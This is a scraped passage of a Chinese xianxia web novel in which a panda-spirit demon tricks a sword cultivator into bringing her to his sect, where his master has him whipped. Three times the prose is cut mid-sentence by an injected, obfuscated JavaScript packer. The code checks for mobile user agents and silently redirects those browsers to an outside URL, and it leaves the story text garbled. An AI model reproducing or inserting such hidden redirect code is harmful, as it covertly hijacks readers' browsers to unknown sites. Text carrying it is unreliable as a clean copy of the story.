苏见清长睫微敛,摇了下头,“抱歉,我不能带你回去。” “啪——” 蕴禾一巴掌将头顶的手拍开。 不带我回去你摸什么摸! 她力气大,苏见清白皙手背顿时出现一道红痕,蕴禾丝毫不心虚,顺道给他一个白眼。 苏见清也不生气,看了眼手背,起身重新御剑,清冷嗓音落下,“告辞。” 长虹剑身一亮,急速飞往天际,剑修的身影转瞬消失。 竟然真的走了! 蕴禾气得磨牙,一掌拍下,地面震颤不已,水浪冲天而上,数条灵鱼随着水流被冲到半空,重重落入水中。 水花四溅,冲洗两岸灵花灵草,在即将落到蕴禾身上时,仿佛被无形罩子挡住,化为水汽散在空中。 草地上属于食铁兽的影子不断变化,化为一道窈窕身影。 蕴禾变回人身,脸色难看地望着苏见清离开的方向。 她气恼甩袖,化为流光追上。 几息之后,青影折回,蕴禾冷笑着将地上的东西收入储物手链。 这些破烂虽然没什么用,但无聊时让她扔着玩,也算是物超所值了。 蕴禾神清气爽地踏空而行。 …… 祁锡山距离伏渊仙门颇远,哪怕是御剑飞行也需整整两日。若非为了追杀那魔修,苏见清也不会到此。 提前向师门传回纸鹤告知自己安然无恙,日落时,苏见清在一座城镇降落。 修真界除了修士,也有灵根驳杂不能修炼的普通人,这些人聚集而居,依附于各大仙门势力。 这座城镇受离得最近的千绝宗庇护,百姓还算安居乐业。 苏见清身上的灵石都给了蕴禾,阮囊羞涩,没钱住客栈。 他接了个捉灵兽的活,得了二十枚灵石,花了两枚灵石要了间最便宜的客房。 打坐一夜,翌日东方晨光微熹时,苏见清离开客房,准备动身回伏渊。 楼下并无住客,唯有管事和两三名跑堂聚在一处。 管事问:“怎么样,都没受伤吧?” “没,幸好店里留有东家给的符篆,否则真不一定能吓跑那只畜生。” 苏见清在店内巡睃。 大堂内房柱上多了几道抓痕,桌子碎了一张,几张椅子碎得不成样,颇为狼狈。 五更末,他的确听到了些许动静,但那动静很快消失,他便没放在心上。 这么说,客栈里是闯进了妖兽? 这时,一名跑堂抱怨嘟囔,“也不知咱们客栈倒了什么霉,无缘无故闯进来一只食铁兽。” 苏见清顿住,脑海里出现一只憨态可掬的食铁兽身影。 不知为何,他下意识觉得跑堂话中的食铁兽,正是他昨日见到的那只。 或许不是无缘无故,是因为他身在这家客栈。 苏见清出声询问:“敢问那只食铁兽是何模样?” 猝不及防的话音令几人吓一跳,管事转身恭敬行揖礼,“仙君。” 他为难道:“食铁兽生得大同小异,仙君这话着实为难。” 苏见清拾级而下,“你只管照实说。” 管事回忆着那只食铁兽的模样,“不就是两只耳朵一张熊脸,毛发有黑有白?” 胆大的跑堂无奈,“您应该说出那只食铁兽的特点。” 他大声道:“仙君,那食铁兽眼睛极亮,像葡萄又像黑色宝石,前肢到后肢的毛发形似鸟翼,看着懒散打不起精神,实则很是机灵。它进来不知是来找人还是找东西的,但被店内符篆灼伤,这才发狂打碎了桌椅,夺门而逃。” 苏见清确定,是他认识的那只无疑了。 听跑堂说它受了伤,苏见清眸色微凝,“它伤势如何?” 跑堂迟疑,“敢问仙君可是认得那食铁兽?” 苏见清颔首,“它应是来寻我的,抱歉,损坏了店中之物。” 从芥子囊中取出十枚灵石,他道:“这些灵石当做赔偿,可否告知那食铁兽的去向?” 管事惶恐告罪,“仙君不责备我等伤害了您的灵兽已是宽宏大量,怎敢再要您的灵石?何况几张桌椅罢了,实在不值这些。” 苏见清直接将灵石放在管事手中,他正要还回,却愕然发觉那灵石仿佛粘在他手上。 苏见清看向那名跑堂。 跑堂不用提醒,主动指了个方向,“仙君,它往那边去了,想必是出了城。” “多谢。” 道完谢,苏见清离开客栈,步行出城,随后唤出长虹,顺着蕴禾离开的方向一路寻去。 奇怪的是,寻了小半个时辰,始终不见食铁兽胖乎乎的身影。 苏见清眉心拧起。 …… 白云苍茫,遮阳蔽日。 云层之上飘着一片青羽,淡绿色清韵萦绕其间,金色光线穿透云层照耀在羽毛上,呈现出七彩耀眼的光芒。 青羽上坐着一道人影。 女子穿黑色衣裙,手戴细链,脖系光珠,墨发中挑一缕白,为明媚姝丽的长相增添几分张扬狂悖。 她双腿交叠,托着腮,两指捏着一枚灵石把玩,淡淡灵气缭绕,衬得指尖莹白如雪。 蕴禾居高临下地看着苏见清御剑飞行。 她昨日跟着苏见清进了城,用他的灵石开了间上好的客栈,舒舒服服用了一餐饭。 别说,人修的烹饪方式和妖修不太一样,口味颇多,很是美味。 现下让苏见清带她回伏渊是不可能的了,她得想个法子,让苏见清心甘情愿带上她才行。 在凌晨时,蕴禾拔了根毛化为替身,闯进苏见清所在的客栈。 如今替身回归,苏见清自然寻不见那只食铁兽的踪迹。 蕴禾闭眼感应。 她极少踏出妖域,对人修的地盘毫不熟悉,但因妖修出身,毫不费力便能感应到周围千里之内的灵兽和妖兽。 片刻后,蕴禾睁眼,锁定百里外一只修为金丹后期的焱金蚁。 她拔下一根头发,吹了口气,头发顺着风飘到百里之外,化为一只食铁兽。 与此同时,御剑飞行的苏见清目光一定,身形如电往某个方向掠去。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15716879|173757||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 蕴禾将灵石收回储物手链,驱使青羽,慢悠悠跟在他身后。 到了焱金蚁的洞穴,苏见清已和那妖兽.交上手。 焱金蚁身形足有三人那般大,全身镀一层金,苏见清的剑气落在它身上,发出令蕴禾起鸡皮疙瘩的铿锵声。 这种妖兽灵智低,但外壳坚硬,是上佳的铸造材料。苏见清伤势未愈,哪怕是他,想要在短时间取胜也不容易。 这念头刚起,下方苏见清斩出一剑,硬生生砍断焱金蚁两条腿。 蕴禾:“……” 焱金蚁金色复眼生出狂躁痛意,长触角发出一团金光,周围狂风大作,树干拦腰折断,齐刷刷倒了一片。 金光似烈日耀眼,苏见清无法直视,灵台混沌一瞬。 这时,那团金光直冲苏见清而来,离得越近,越能感受其中的狂暴灵力。 蕴禾看了眼角落里“伤痕累累”的食铁兽。 食铁兽受到驱使,朝苏见清扑了过去。 金光落在它身上,后背毛发瞬间被灼烧殆尽,露出一片猩红血肉。 它发出惨痛叫声,黑黝黝的眼珠里淌出了泪。 苏见清沉着脸,冷冽眸光波动一瞬,带出一丝杀意。 抬手一挥,剑气在触碰到食铁兽时变得温和不已,裹挟着它退避一旁。 金光飞至近前,苏见清握着长虹,临危不惧。 他一手施诀,一手持剑,长虹剑身大亮,空气中的温度一点点降下。 寒冰无声而降,化为数柄长虹,齐齐朝金光飞去! “轰——” 两股力量撞出巨大声响,一层层余波向周围蔓延,所到之处树木齐声而断,鸟兽四散而逃。 余波散尽,苏见清一身白衣如山巅雪莲,冰清玉润,洁白无瑕。那只焱金蚁躺在血泊中,头上两条长触角被齐齐斩断。 蕴禾在云上看得清清楚楚,忍不住赞了一声。 虽是做戏,但她的替身却是实实在在被焱金蚁伤到了,以它的狂暴,也不知究竟吃了多少人才修成了金丹,对它的死,蕴禾没有半分愧意。 长虹入鞘,苏见清将它收回芥子囊,去看食铁兽的情况。 它伏在一侧,后背鲜血淋漓,混杂着血水的毛发黏成一团,身子因疼痛一抽一抽的。像是察觉到苏见清的靠近,它脏兮兮的大脑袋侧过来,颗颗泪珠珠串似的坠落。 苏见清双唇紧抿,刚要从芥子囊里取出丹药,陡然意识到自己已经将所有家当给了面前这只食铁兽,“给你的丹药还在吗?” 话音刚落,苏见清颇为懊恼。 灵兽并不能储物,因而他昨日将东西从芥子囊中取出,直接交给它。 可它既然跟上来了,那些东西想必也留在了原处。 苏见清倒是没有心疼的情绪。 东西既给了它,该如何处置都是它的权利。 只是没有丹药,如何为它疗伤? 苏见清凝眉,语调放缓,“我去替你寻药,你乖乖待在此处。” 食铁兽似是听懂了,低低呜咽。 苏见清眉心皱得更深,唤出长虹去寻药。 好不容易寻到几株止血的灵药,等苏见清急匆匆赶回来时,却是倏地一惊。 树木横七竖八倒塌,焱金蚁的尸体躺在原地,身下鲜血浸入土壤,一切都是他离开时的模样。 唯独少了一只受了伤可怜兮兮的食铁兽。 5. 第 5 章 云端上,蕴禾将苏见清略显焦急的身影收入眼中,满意勾唇而笑。 这人修将她丢了一回,她也要他品尝品尝焦灼的滋味。 蕴禾勾起食指。 葱根般的手指绕着一丝妖力,妖力的另一头,是慢吞吞往外爬行的食铁兽。 它带着伤,爬得并不快,挪动间身后拉出一条长痕。 蕴禾指尖一勾,食铁兽爬行的速度霎时快了一瞬,与苏见清拉开距离。 但苏见清也不是吃素的,寻到食铁兽留下的痕迹后御剑追上,在它前方落地堵住去路。 “为何要走?” 苏见清蹲下。 这只食铁兽乃是蕴禾毛发所化,并不具备灵智,所有行动皆由蕴禾控制。 她输入一丝神念,云层下方的食铁兽空洞的眼底似被注入了灵魂,极具人性地朝苏见清丢去愤怒又幽怨的一眼,慢吞吞掉头,将怒气和不满展现得淋漓尽致。 苏见清一怔。 食铁兽血肉模糊的后背强势闯入眸底,昨日它活蹦乱跳的身影还刻在脑海深处,今日却成了这般凄惨的模样。 苏见清涩声问:“你是在怪我昨日丢下你?” 食铁兽低声呜咽,细弱的叫声掩不住疼痛,可怜又凄楚。 苏见清双唇紧抿,“抱歉。我知道你想跟我回去,可我真的不能……” 话音陡然被食铁兽的怒吼声打断。 这人修怎么回事,她为了救他伤成这般模样,都这么惨,这么可怜了,还不值得他带她回去养伤? 什么救世主,该不会是伏渊为了给他造势弄的噱头吧? 蕴禾太气了,一下没控制住,导致食铁兽这一声叫得中气十足。 她反应极快控制食铁兽卧下,黑葡萄似的眼珠里掉出一串串泪珠。 苏见清一惊,绕到食铁兽身前,不由分说取出灵药喂到它嘴中。 好在食铁兽没与他赌气,把灵药吐出来。 灵药效果极佳,食铁兽伤口的血很快止住。 苏见清以灵气化水,轻轻将可怜兮兮的脏团子后背的血冲洗干净,手指为它梳理被水打湿的绒毛。 伤势好说,就是这一身漂亮的毛,想来一时半会儿该是生不出来了。 苏见清眼底夹带几分可惜,一本正经问:“你真的决定要跟着我?” 蕴禾指尖一点,食铁兽跟着点头。 苏见清无奈一叹,手掌犹疑着落在食铁兽头顶,掌心与它轻轻一碰,“好,我带你回伏渊。” 周围皆是倒塌的树木,葳蕤草丛被刺穿,地面横亘着几道剑气,白衣剑修衣摆迤逦落地,一手虚虚落在食铁兽头顶,眸光清浅湛然,似开在废墟的一朵无垢莲花。 蕴禾双腿一前一后摇晃,身下青羽随之而动。 她托腮瞧着云下一幕,毫无边际地想着。 别的且不论,这苏见清生得确实不错。哪怕是在遍地美人的妖域,姿色在男修中也能排进前三。 阳光渐盛,金光照在蕴禾脸上,她眯了眯眼。 下方,苏见清让食铁兽待在原地,将焱金蚁的尸体收进芥子囊,旋即拔出长虹。 剑气横扫,所有倒地树木刹那间化为细小粉尘,露出被压在下方的草地。 阳光照射而下,粉尘如碎光萦绕在苏见清周围,衬得他霁月清风,如玉皎皎。 苏见清回到食铁兽身边,轻声道:“我带你走。” 手掌放在大团子头顶,掌心蕴出一团柔光,食铁兽肉眼可见缩小,变成一般兔子大小。 它抬头望着面前庞然大物,黑眼珠里透出几分茫然。 苏见清眸底亮光一闪而逝,捧起食铁兽,小心翼翼避开它的伤,将它揽到怀里,跃上长虹。 一人一兽的身影急掠消失,蕴禾指尖一勾,追了上去。 她不想顶着那副丑样子,等食铁兽伤好,她再和它换回去。 苏见清速度极快,西边泛起云霞时,人已落在伏渊山门前。 看守山门的两名弟子只见一道剑光掠来,喝道:“来者何人?!” 剑光停至山门前,身着白衣的弟子道:“原来是苏师兄归山。” 苏见清对二人略一颔首,御剑越过山门。 山门高大巍峨,“伏渊”二字古朴又张扬,其间仿若有游龙涌动,威严不可逼视。 再一细看,仿佛有无数道剑光刺目,剑意正气浩荡,却又凛冽危险。 收回视线,蕴禾隐去身形,紧跟在苏见清身后。 越过山门,看不到尽头的山峰连绵起伏,虹桥悬在上空,仙鹤成群结队,引颈高鸣。 空气中灵力浓郁,远处山峰之上,瀑布似倒悬银河,雾气氤氲,水流重重砸下。 水花飞溅,灵花灵草朝着太阳的方向轻晃枝叶,芳香馥郁。 云蒸霞蔚,如遇仙境。 仙气飘飘的,和妖域的淳朴自然截然不同。 蕴禾四处张望,一边分神跟上苏见清。 等她回神时,已经停在一座山峰上空。 蕴禾微怔,旋即眸光一亮。 远远望去,峰上生着满山青竹,阵阵竹涛翻涌,竹叶摇曳时带有簌簌声响。 苏见清的山头,竟然有这么多竹子。 蕴禾弯唇,心情不错地勾起一绺墨发绕在指尖。 长虹落地,眼前是个竹制小院,竹廊上空两盏纱灯随风而动,周围竹影婆娑,很是雅致。 苏见清将怀里的食铁兽放下。 落地的瞬间,兔子大小的食铁兽恢复原状,直立起来时身高比苏见清矮了整整一个头。 蕴禾的注意被周围青竹吸引,食铁兽随主人,眼珠子盯着丛丛竹子圆溜溜地转。 苏见清眸光清亮,两指并拢,长虹出鞘,剑气浩荡,顷刻间一片嫩竹倒地。 长虹一卷,剑气裹挟着青竹回到苏见清身边。 宝剑入鞘,青竹唰唰落地。 苏见清捞住食铁兽去拿竹子的爪子,“先把药吃了。” 他取出灵药,喂到食铁兽嘴边。 大团子跟看不到似的,一门心思要去拿地上散发着清香的竹子,推开苏见清的手。 在爪子即将触碰到青竹前,一道结界阻拦住它剩下的动作。 苏见清语气微沉,“先吃药。” 食铁兽眼神懵懂地注视着他。 被青竹吸引所有注意力的蕴禾终于分出一丝心神,无形妖力勾连住食铁兽,驱使它乖乖坐着,点了下头。 等苏见清再度将灵药放在它嘴边时,食铁兽异常乖巧地叼住,一口吞下。 苏见清袖子一挥打开结界,挑了根翠绿嫩竹送 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15716880|173757||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到食铁兽怀里,“丹药效果更佳,我待会儿去拿,要不了两日就能恢复。” 大团子抓着青竹咬,吃得津津有味,连个眼神也不递给他。 苏见清无奈,凤眼却带了两丝笑意。 “苏师弟!” 爽朗含笑的嗓音自空中落下,苏见清回身,只见流光落在身前,化为一道人影。 高大俊朗的青年大步迈近,视线将苏见清浑身扫遍,提了两日的心总算放下。 “我特意让留守山门的师弟留意苏师弟何时归山,就等着你回来。” 齐岱朝苏见清作了揖,“还未谢过师弟的救命之恩。那日若非有你在,我与方师弟已是凶多吉少了。” 他笑着开口,“方师弟伤重,尚不能起身,特意让我为他带句谢。待他伤愈,再亲自向师弟道谢。” 苏见清:“同门互助,天经地义。齐师兄不必放在心上,让方师兄好生养着吧。” “那怎么能行?” 齐岱摇头而笑,“就算是同门,能舍身相救的也是少数。苏师弟可是我和方师弟的救命恩人,若是毫不在意,我齐岱成什么人了?” 他热情邀请,“苏师弟可吃过山下城内半月楼的烧鸡?那鸡选的是灵火鸡,不仅灵气十足,且肉质鲜嫩,汁水丰富,极为美味。眼下天色尚早,不如苏师弟随我一道下山,让我好好宴请一桌。” 听到这话,蕴禾的目光艰难从青竹上挪开,转而盯着齐岱。 这两日,她发现人修大多清修,进食只用辟谷丹的说法大错特错。 人族修士所在的玄清域不少灵兽的肉质极佳,种出来的菜也很是爽口。 这些食材烹饪出来的食物不仅美味可口,还富含灵气。除了选择辟谷的修士,大部分年轻人修都极为青睐这些吃食。 回伏渊的路上路过好几座城,蕴禾不止一次看见人修们结伴出入酒楼。 此时一听面前的剑修提到山下烧鸡,蕴禾舔了舔嘴唇,很是心动。 苏见清却不为所动,委婉拒绝,“齐师兄,我刚回山,需得去见师尊。” 齐岱不是傻子,听出了苏见清的婉拒,笑意不变,爽快道:“行,那明日如何?明日我带你去。” 苏见清双唇微抿,“明日我需修炼。” 热脸贴了冷屁.股,齐岱笑意有些僵硬。 这位苏师弟自幼入山,天赋出众,年纪轻轻便已臻至金丹大圆满,突破元婴指日可待,乃是伏渊当之无愧的天之骄子。 可惜性子太过冷傲,目下无尘,将他们这些师兄弟视为无物,不太合群。 以往齐岱与他并不相熟,若非此次一同下山诛魔被苏见清所救,他着实不愿与他打交道。 齐岱吐出一口气,直截了当道:“苏师弟,你可是对我有意……” 见字还未吐露,青竹峰外再度飞来一道人影。 御剑而来的小弟子急匆匆道:“苏师兄,仙尊召你前去回话。” 苏见清一怔,“好。” 对齐岱颔首,“齐师兄,我先走一步。” 目光瞥向食铁兽,见它正乖乖啃着竹子,苏见清微微放心,跟随小弟子离去。 齐岱眼睁睁看着人走了,两道剑眉一皱,方一转身,正正对上一张又胖又圆的熊脸,惊讶道:“咦,你这食铁兽是打哪儿来的?” 6. 第 6 章 食铁兽十分高贵冷艳,连个眼风都没给他,一门心思啃竹子。 齐岱今日见多了冷脸,倒也没在意,绕着食铁兽转一圈,目光落在它光秃猩红的后背,口中一嘶,眉头感同身受拧起,“这伤可不轻啊,你是被苏师弟救回来的?” 苏见清不在,蕴禾想去尝尝半月楼的烤鸡,可面前这人实在不识相。 主人都走了,还留在这儿干嘛? 蕴禾食指一挥,食铁兽放下啃了一半的竹子,四肢落地,脑袋对着齐岱,做出凶狠的攻击表情。 齐岱吓一跳,脚步后退,嘟囔一声,“怎么这么凶。” 食铁兽大吼一声,一步步朝他走去。 驱赶的姿势这么明显,齐岱还能看不出来? 他无奈后退,“行行行,我走,我马上走。” 唤出本命灵剑,齐岱足尖一跃落在剑上,嘟囔道:“这人和兽都一样不识好人心,难怪能凑一对。” 这话蕴禾听得一清二楚,眸光一厉,一道妖气朝齐岱打去。 “啊!” 半空中,齐岱的身形突然一歪,直直从云端跌落,发出惨烈的叫声,“银霜,我的宝贝银霜,快接住我啊——” 蕴禾朝他丢个白眼,瞧了乖巧坐回去继续啃竹子的食铁兽一眼,施施然驱使青羽下山。 伏渊的护山大阵对她来说就像一层薄纱,蕴禾顺利下山,去寻那家名为“半月楼”的酒楼。 …… 苏见清跟随小弟子,一路往沉霄峰去。 到达峰上洞府外,小弟子自行离去,剩苏见清独自入内。 玄陵仙尊的洞府共有三座宫殿,一座待客,一座起居,剩余一座存放书籍玉简与为弟子授课。 主殿外是一块演武场,左右两侧分别矗立着两道威猛身影,是玉雕的两只凶兽,穷奇、饕餮。凶兽怒目而张,威风凛凛,细看时眼中异彩连连,仿佛活过来一般。 玄陵喜樱,峰上种了满山樱花,伏渊仙山并无四季之分,沉霄峰的樱花常年盛开,花瓣随风而舞,似粉蝶翩跹。 伏渊仙门祖师爷定下规矩,需在每代弟子中挑选出最出色的两位,一人担任伏渊掌门,掌管宗门要事,另一人负责护卫宗门安全,位同副掌门。 因此,掌门典淮所在的长离主峰布局与沉霄峰一模一样,只是比沉霄稍大些。 玄陵仙尊性子冷,对待弟子最是严厉不过,哪怕沉霄峰美如仙宫,却无人敢在此放肆。 唯有一人例外。 “师尊,听说师兄斩杀了元婴期的魔族,好生厉害,也不知我何时才能像师兄那般威风。” 行至殿门口,里头传来少女软糯甜美的嗓音。 苏见清脚步不停,眼睑半垂步入殿内。 大殿之上,玄陵坐于首位,一袭白色长袍,银发一丝不苟地束于玉冠中,他看着年纪极轻,不像玄清域名震修真界的大乘期大能,倒像是话本子里光风霁月的世家子弟。俊美无俦的脸上平淡无波,气质卓绝,缥缈出尘得宛如不近人情的谪仙。 轻抬眸时,眸底似有剑意纵横,驱散了因出色外表带来的惊艳,只觉剑意凛然,危险十足,不愧是伏渊第一人。 玄陵身侧坐着一名少女,与他同色的白袍,做工却精致许多。丛丛菡萏在她裙摆绽放,银线绣成的腰封裹着不盈一握的腰身,娇俏纯美的脸上一派娇憨,举手投足间,是被疼爱着长大的天真肆意。 是苏见清的嫡亲师妹,褚潇潇。 “你啊,要是肯乖乖练剑,说不准还有希望,但如今嘛,啧啧……” 玄陵下首,一身红衣的典淮摇着羽扇,俊美风流,挂着调侃笑容。 “师叔!”少女不依,“我修炼分明很认真的!” 玄陵开口,“潇潇还小,心性不定,修炼之事不可急躁。你作为师叔,该鼓励才是。” 典淮暗暗翻了个白眼,“……你就惯着她吧。” 静静听完三人谈话,苏见清缓步而进,朝上见礼,“师尊,师叔。” 而后淡声道:“师妹。” 融洽的氛围骤然被打破,生起些许尴尬。 典淮举着羽扇,正要打破一室凝滞,忽然听见威严二字落下。 “跪下。” 苏见清清透明净双眼不含丝毫情绪,干脆利落地掀袍跪在殿中。 典淮眉头一皱,“师兄,见清刚回来,你这是作甚?” 玄陵置之不理,目光逼视苏见清,“我与你说过什么,你可还记得?” 苏见清跪着,声音清冷,“斩妖魔,护伏渊,佑玄清。” 玄陵再问:“此次我伏渊平安归来的弟子有几人?” 苏见清语气低沉,“三人。” “剩下的弟子去了何处?!” 玄陵骤然发怒,大殿内灵气震荡,灵压直冲苏见清而去。 挺直的腰背弯了一瞬,苏见清紧抿双唇,咽下口中腥气。 典淮摇扇的动作顿住,皱眉道:“师兄,有话好好说。” 见玄陵沉着脸,他余光瞥向缩着肩膀有些害怕的褚潇潇,“别吓着潇潇。” 少女面色略带惊慌,看着他的目光有些小心翼翼,像是生怕将他触怒。 玄陵收敛气息,嗓音里仍带着怒,“回话。” 苏见清哑然,面色沉肃,“剩下三名师兄死于魔修之手,遗体已由齐师兄带回安葬。” “死了三名弟子。”玄陵厉声,“你就是这样保护同门的?” “若你如此不堪大用,往后如何护卫伏渊,乃至于整个玄清域?又如何对得起本尊与伏渊多年来的悉心栽培?!” 大殿之上,冷冽的嗓音声声质问,胸腔仿佛被挤压,五脏六腑似渗出了血。 苏见清死死忍住漫上喉咙的血腥气,叩拜下去,“弟子知错,未能护佑同门平安归来,辜负了师尊的期望。” “既已知错,自去领罚。” 玄陵冷下脸,“三十道噬魂鞭,一道也不能少。” “师兄!” “师尊!” 典淮与褚潇潇同时出声。 “三十道噬魂鞭,这刑罚也过重了。” “是啊师尊。”褚潇潇附和,“师兄不过是金丹,能在两名元婴的围攻下逃生已是侥幸,师尊就别再罚他了。” 玄陵不近人情,“谁敢求情,再加十鞭。” 典淮与褚潇潇只得噤声。 “弟子遵命。” 苏见清又是一拜。 玄陵目如冷霜,无声凝视苏见清须臾,“此次除魔所获的灵石,均分三等赠给死去弟子的家人,你可有意见?” 苏见清:“并无。” “嗯。”玄陵不再看他,抬手一挥,“去吧。” 苏见清起身,缓步朝外走。 快走出大殿时,耳边有风送来无奈叹息,“莫怪本尊对你严厉。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15716881|173757||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你命格独特,若不严加鞭策,待到浩劫降临,如何能担得起整个玄清域的生死?” 一字一言,谆谆教诲,皆是真心实意。 苏见清身形微顿,并未回头,一脚踏出殿门。 西边太阳降落,橘红色霞光倾斜而下,照亮他眉宇阴影。 …… “啪!” 一鞭落下,苏见清身子猛震,疼得满头冷汗。 他面无表情,脊背挺得直,仿佛永远不会倒下的青松。 “二十八。” “啪!” “二十九。” “啪!” “三十。” 尾音刚落,苏见清猛地一头栽下。 裸露在空气中的白皙后背沟壑交错,血肉模糊。鲜血与糜烂的衣料混杂在一处,猩红可怖。 他强撑着抬头,清隽脸庞一片惨白,冷汗不断从侧脸滑落。 执法长老收了噬魂鞭,肃着脸道:“回去养伤吧。” “多谢长老。” 苏见清咬牙,撑着膝盖起身。 他浑身失力,起到一半,身子骤然倒地。 一双手将他扶住,苏见清艰难转眸,正对上一双盛满担忧的眼睛。 典淮:“能起吗?师叔送你回去。” 一滴汗从额角滑落,苏见清声音虚弱地恭敬唤道:“师叔……” “师叔,师兄!” 清脆女声由远及近,一道身影跑入刑堂,忧心忡忡问:“师兄,你怎么样,能走吗?” 褚潇潇攥住腰间芥子囊,“我和师叔陪你回青竹峰上药。” 典淮惊讶,“潇潇,你怎么来了。” “我不放心师兄。” 褚潇潇噘着嘴抱怨,“师尊也真是的,师兄刚刚死里逃生,他偏要惩罚,也不知道他怎么想的。” 一只手握住典淮,虚弱而坚定地拂开他,苏见清拖着一身的伤,脚步艰难往外走。 “不必劳烦师叔了,我自己可以回去。” 典淮皱下眉,厉声呵斥,“伤成这样还逞强!” “师兄你——” 话音未断,苏见清已御剑离去。 褚潇潇跺跺脚,“师兄怎么这么倔!” 典淮沉着脸,良久,沉沉一叹。 …… 浑身上下都在疼,尤其是神识,仿若针扎。苏见清视线模糊,强撑着御剑。 身旁经过的伏渊弟子纷纷对他侧目,窃窃私语声聚集。 “苏师兄这是怎么了?不是刚回来,怎么一身的血?” “那个方向是刑堂?苏师兄为何受罚?” “嘶,伤成这样还能御剑,不愧是苏师兄啊。” 苏见清将所有议论声甩在身后,忍着身上与识海内翻天覆地的疼痛疾速飞回青竹峰。 眼前阵阵发昏,天地旋转,冷汗密密麻麻堆在额上。 迷蒙视线触及那座熟悉的山峰,苏见清心里的劲一泄,御剑诀一松,身形倏地栽下。 长虹剑身大亮,自动护主,托着苏见清的身子将他放在竹屋前的草地上。 不远处,食铁兽坐在青竹堆里,身上地下皆是碎屑。 它抱着竹子,啃得两耳不闻窗外事,哪怕是苏见清从天空坠下也没得它一眼。 看着它伤势未愈的后背,晕过去前,苏见清默默想道。 没了灵石,他怎么替它换更好的丹药? 7. 第 7 章 蕴禾在半月楼吃了个饱。 那姓齐的弟子说得不错,半月楼的烧鸡的确味道鲜美,尝之不忘。 一口气点了四五只烧鸡,直到有些腻了,蕴禾才引出清泉净手,慢悠悠饮下一杯桂花露。 吃饱喝足,用苏见清的灵石付完账,她坐着青羽,很是闲适地飘回伏渊。 一路回到青竹峰,蕴禾奇怪地咦一声。 怎么有股血腥味? 她不过离开了一会儿,发生了什么? 青羽飘至竹屋前,蕴禾一眼便见趴在草地上一身是血的苏见清。 浓郁血气从他身上飘来,蕴禾瞬间捂住口鼻。 不是去见玄陵?怎么带了一身伤回来? 隔三差五的受伤,他不死谁死? 蕴禾恼怒查看苏见清的情况。 胸口原本好了大半的伤裂了,背后多了几十道鞭伤,严重的是,鞭伤里似乎蕴含了某种伤人神识的东西。被打上一鞭,识海便如同被铺天盖地的银针覆盖般疼痛。 瞧他的伤势,怕是要疼上小半个月。 仔细查看完,蕴禾决定不管了。 食铁兽就在此处,要是给他用药,苏见清醒来一准露馅。 疼几天而已,反正也死不了,就这样吧。 招来青羽,蕴禾往后一仰躺上去,枕着星光悠哉悠哉睡去。 …… 苏见清一睁眼,晨曦映照侧脸,清隽秀雅的脸庞镀上一层金光,眸中一轮红日徐徐跳出山巅。 仙鹤结伴飞翔,身影从红日前掠过。朝霞铺了满天,和风穿林而过,竹涛阵阵,声如雅乐。 苏见清动了动身子,膝盖拄地跪坐而起。 身上的伤仍在作痛,识海内的疼痛密密麻麻时刻不停一个简单的动作便令他出了一身冷汗,汗水沁在伤口,疼痛中增添一丝火辣,很是难捱。 目光巡睃,他看见不远处睡得正香的食铁兽。 胖团子趴在一尺高的青竹上,带着伤的后背朝天,浑身上下沾满了草屑,一片竹叶粘在嘴角,随着呼吸起伏。 在它身后,几棵长势颇好的青竹被破坏殆尽,长一截短一截,竹叶飘得到处都是,竹节乱七八糟地堆在一旁,上头还残留着几个牙印。 即便是未能亲眼见到,也能想象出小家伙拆家的样子。 苏见清眸光微动。 坐着缓了片刻,他抹去额上汗水,捡起一旁掉落的长虹,拄剑站起,缓步往竹屋走去。 苏见清的住处很简单,一扇窗,一张床与叠得整整齐齐的被子,一张竹桌和竹椅,除此之外,再无其他。 简陋得不能再简陋了。 苏见清褪去衣物,布料与血肉拉扯出粘腻血丝,他脸色苍白,面无表情地以灵力化水,冲洗后背干涸血块。 清洗完毕,苏见清从芥子囊内取出一株灵药,直接塞进嘴里。 灵药的味道并不难吃,口腔内弥漫着浓重的草木清香之气。 吞咽后,苏见清另拿了套衣衫换上,旋即盘腿打坐,吸收药力,顺道调息。 半个时辰后,苏见清睁眼。 后背鞭伤略有好转,唯独神识内的伤,仿佛连绵不断的阴雨,细细密密落在识海中,生出无数股刺痛。 苏见清适应片刻,缓步走出竹屋,准备去看食铁兽的情况。 双足踏上草坪,目光一扫,捕捉到食铁兽酣睡的身影。 苏见清正要去看它的伤势,空中蓦地响起一道脆如铃音,又似泉水击石的女声。 “师兄。” 不远处的食铁兽听见声音,耳朵抖了抖。 苏见清当即挥出一道灵力,封住它听觉,见大团子身子动弹两下继续沉睡,礼貌对从天而降的少女颔首,“师妹。” 